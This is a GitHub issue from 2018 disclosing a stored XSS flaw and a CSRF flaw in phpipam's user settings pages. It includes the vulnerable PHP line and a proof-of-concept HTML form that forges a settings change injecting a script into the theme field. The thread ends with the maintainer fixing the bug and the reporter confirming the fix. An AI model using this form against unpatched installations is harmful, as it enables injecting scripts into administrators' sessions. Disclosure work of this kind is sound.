New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS (Stored) in /app/admin/users/print-user.php (CSRF too: /app/tools/user-menu/user-edit.php) #2326

magicOz opened this Issue Nov 21, 2018 · 2 comments


None yet
2 participants
Copy link

magicOz commented Nov 21, 2018

<td><?php print $user->theme=="" ? _("Default") : $user->theme ?></td>
in /app/admin/users/print-user.php is vulnerable to XSS.

Change theme parameter in user settings.
POST /app/tools/user-menu/user-edit.php

View attacker user in admin panel
screenshot from 2018-11-21 21-24-38

/app/tools/user-menu/user-edit.php is vulnerable to CSRF.
An attacker can create a page with the following snippet and cause any user to change their settings and later trigger the XSS-vuln.
<form method="POST" action="http://localhost/phpipam/app/tools/user-menu/user-edit.php">
<input type="hidden" value="test" name="real_name">
<input type="hidden" value="" name="email">
<input type="hidden" value="" name="password1">
<input type="hidden" value="" name="password2">
<input type="hidden" value="<script>alert('XSS');</script>" name="theme">
<input type="hidden" value="1" name="lang">
<input type="hidden" value="No" name="mailNotify">
<input type="hidden" value="No" name="mailChangelog">
<input type="hidden" value="1" name="menuCompact">
<input type="hidden" value="Dynamic" name="menuType">
<input type="submit" value=""></form>

@GaryAllan GaryAllan closed this in 552fbb0 Dec 1, 2018


This comment has been minimized.

Copy link

GaryAllan commented Dec 1, 2018

Thanks. Please retest.


This comment has been minimized.

Copy link

magicOz commented Dec 3, 2018

Looks good!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment